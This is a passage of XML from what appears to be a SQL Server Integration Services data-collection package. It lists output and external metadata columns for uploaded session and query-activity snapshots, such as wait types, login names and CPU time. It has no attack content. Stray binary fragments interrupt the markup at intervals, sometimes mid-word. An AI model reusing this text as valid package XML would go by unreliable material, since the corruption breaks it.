Data.Outputs[Raw File Source Output].Columns[blocking_exec_context_id]" name="blocking_exec_context_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[scheduler_id]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[scheduler_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[scheduler_id]" name="scheduler_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[database_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[database_name]" length="128" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[database_name]" name="database_name"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[user_id]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[user_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[user_id]" name="user_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Output	!!!!!!!!!!!!!!!!!!!!!!!!`q8"(Hvs[Raw File Source Output].Columns[task_state]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[task_state]" length="10" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[task_state]" name="task_state"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_status]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_status]" length="15" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_status]" name="request_status"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_status]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_status]" length="15" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_status]" name="session_status"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[executing_managed_code]" dataType="bool" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[executing_managed_code]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[executing_managed_code]" name="executing_managed_code"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[login_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[login_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[login_time]" name="login_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[is_user_process]" dataType="bool" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[is_user_process]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[is_user_process]" name="is_user_process"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[host_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot	!!!!!!!!!!!!!!!!!!!!!!!!`r8"kFHv\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[host_name]" length="20" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[host_name]" name="host_name"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[program_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[program_name]" length="50" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[program_name]" name="program_name"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[login_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[login_name]" length="30" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[login_name]" name="login_name"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_type]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[wait_type]" length="45" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_type]" name="wait_type"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[last_wait_type]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[last_wait_type]" length="45" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[last_wait_type]" name="last_wait_type"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_duration_ms]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[wait_duration_ms]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_duration_ms]" name="wait_duration_ms"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[wait_resource]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[wait_resource]" length="50" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Rea	!!!!!!!!!!!!!!!!!!!!!!!!`s8"h8Hvd Current Upload Data.Outputs[Raw File Source Output].Columns[wait_resource]" name="wait_resource"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[resource_description]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[resource_description]" length="140" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[resource_description]" name="resource_description"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[transaction_id]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[transaction_id]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[transaction_id]" name="transaction_id"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[open_transaction_count]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[open_transaction_count]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[open_transaction_count]" name="open_transaction_count"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[transaction_isolation_level]" dataType="i2" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[transaction_isolation_level]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[transaction_isolation_level]" name="transaction_isolation_level"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_cpu_time]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_cpu_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_cpu_time]" name="request_cpu_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_logical_reads]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_logical_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_logical_reads]" name=	!!!!!!!!!!!!!!!!!!!!!!!!`t8"QHv"request_logical_reads"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_reads]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_reads]" name="request_reads"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_writes]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_writes]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_writes]" name="request_writes"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_total_elapsed_time]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_total_elapsed_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_total_elapsed_time]" name="request_total_elapsed_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_start_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_start_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[request_start_time]" name="request_start_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[memory_usage]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[memory_usage]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[memory_usage]" name="memory_usage"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_cpu_time]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_cpu_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_cpu_time]" name="session_cpu_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.	!!!!!!!!!!!!!!!!!!!!!!!!`u8"oJ>HvOutputs[Raw File Source Output].Columns[session_reads]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_reads]" name="session_reads"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_writes]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_writes]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_writes]" name="session_writes"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_logical_reads]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_logical_reads]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_logical_reads]" name="session_logical_reads"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_total_scheduled_time]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_total_scheduled_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_total_scheduled_time]" name="session_total_scheduled_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_total_elapsed_time]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_total_elapsed_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_total_elapsed_time]" name="session_total_elapsed_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_last_request_start_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_last_request_start_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_last_request_start_time]" name="session_last_request_start_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Outpu	!!!!!!!!!!!!!!!!!!!!!!!!`v9nHvt].Columns[session_last_request_end_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_last_request_end_time]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_last_request_end_time]" name="session_last_request_end_time"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[open_resultsets]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[open_resultsets]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[open_resultsets]" name="open_resultsets"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_row_count]" dataType="i8" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_row_count]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[session_row_count]" name="session_row_count"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[prev_error]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[prev_error]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[prev_error]" name="prev_error"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[pending_io_count]" dataType="i4" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[pending_io_count]" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[pending_io_count]" name="pending_io_count"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[command]" dataType="wstr" externalMetadataColumnId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[command]" length="32" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].Columns[command]" name="command"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn re	!!!!!!!!!!!!!!!!!!!!!!!!`w9HvfId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[row_id]" dataType="i4" name="row_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_id]" dataType="i2" name="session_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_id]" dataType="i4" name="request_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[exec_context_id]" dataType="i4" name="exec_context_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[blocking_session_id]" dataType="i2" name="blocking_session_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[is_blocking]" dataType="bool" name="is_blocking"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[blocking_exec_context_id]" dataType="i4" name="blocking_exec_context_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[scheduler_id]" dataType="i4" name="scheduler_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[database_name]" dataType="wstr" length="128" name="database_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[user_id]" dataType="i4" name="user_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[task_state]" dataType="wstr" length="10" name="task_state"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_status]" dataTy	!!!!!!!!!!!!!!!!!!!!!!!!`x9Hvpe="wstr" length="15" name="request_status"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[session_status]" dataType="wstr" length="15" name="session_status"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[executing_managed_code]" dataType="bool" name="executing_managed_code"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[login_time]" dataType="dbTimeStamp" name="login_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[is_user_process]" dataType="bool" name="is_user_process"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[host_name]" dataType="wstr" length="20" name="host_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[program_name]" dataType="wstr" length="50" name="program_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[login_name]" dataType="wstr" length="30" name="login_name"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[wait_type]" dataType="wstr" length="45" name="wait_type"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[last_wait_type]" dataType="wstr" length="45" name="last_wait_type"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[wait_duration_ms]" dataType="i8" name="wait_duration_ms"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[wait_resource]" dataType="wstr" length="50" name="wait_resource"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[resource_description]" dataType="wstr" length="140" name="resource_description"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[transaction_id]" dataType="i8" name="transaction_id"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[open_transaction_count]" dataType="i4" name="open_transaction_count"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[transaction_isolation_level]" dataType="i2" name="transaction_isolation_level"/><externalMetadataColumn refId="Pack	!!!!!!!!!!!!!!!!!!!!!!!!`y9!Hvage\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_cpu_time]" dataType="i4" name="request_cpu_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_logical_reads]" dataType="i8" name="request_logical_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_reads]" dataType="i8" name="request_reads"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_writes]" dataType="i8" name="request_writes"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_total_elapsed_time]" dataType="i4" name="request_total_elapsed_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[request_start_time]" dataType="dbTimeStamp" name="request_start_time"/><externalMetadataColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\RFS - Read Current Upload Data.Outputs[Raw File Source Output].ExternalColumns[memory_usage]" dataType="i4" 